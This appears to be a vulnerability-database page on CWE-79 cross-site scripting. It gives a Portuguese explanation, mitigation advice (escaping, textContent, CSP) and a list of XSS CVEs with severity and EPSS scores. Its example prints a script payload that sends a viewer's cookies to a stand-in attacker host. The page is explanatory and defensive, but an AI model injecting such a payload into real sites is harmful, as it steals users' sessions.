Fallos del tipo CWE-79

29.080 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-5658MEDIUMWP MapIt <= 2.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-1425MEDIUMEmbedPress <= 3.9.8 - Authenticated(Contributor+) Stored Cross-Site Scripting via Google Calendar Widget LinkEPSS 0.5%CVE-2023-5659MEDIUMInteract: Embed A Quiz On Your Site <= 3.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2026-25786CRITICALAffected devices do not properly validate and sanitize PLC/station name rendered on the "communication" parameters page of the web interfaceEPSS 0.5%CVE-2025-25973MEDIUMA stored Cross Site Scripting vulnerability in the "related recommendations" feature in Ppress v.0.0.9 allows a remote attacker to execute aEPSS 0.5%CVE-2020-11070MEDIUMCross-Site Scripting in SVG SanitizerEPSS 0.5%CVE-2024-26064MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2019-25094LOWinnologi appointments Extension Appointment cross site scriptingEPSS 0.5%CVE-2022-29438MEDIUMWordPress Image Slider by NextCode plugin <= 1.1.2 - Authenticated Persistent Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2022-29476MEDIUMWordPress Notification Bar for WordPress plugin <= 1.1.8 - Unauthenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2026-49279HIGHWWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)EPSS 0.5%CVE-2024-26044MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2020-11064MEDIUMCross-Site Scripting in TYPO3 CMSEPSS 0.5%CVE-2024-13012MEDIUMcode-projects Hostel Management System registration.php cross site scriptingEPSS 0.5%CVE-2023-5667MEDIUMTab Ultimate <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-26042MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2023-23354HIGHQuLog CenterEPSS 0.5%CVE-2022-28354MEDIUMIn the Active Threads Plugin 1.3.0 for MyBB, the activethreads.php date parameter is vulnerable to XSS when setting a time period.EPSS 0.5%CVE-2022-4735LOWasrashley dash-live DOM Node media.js ready cross site scriptingEPSS 0.5%CVE-2023-5469MEDIUMDrop Shadow Boxes <= 1.7.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%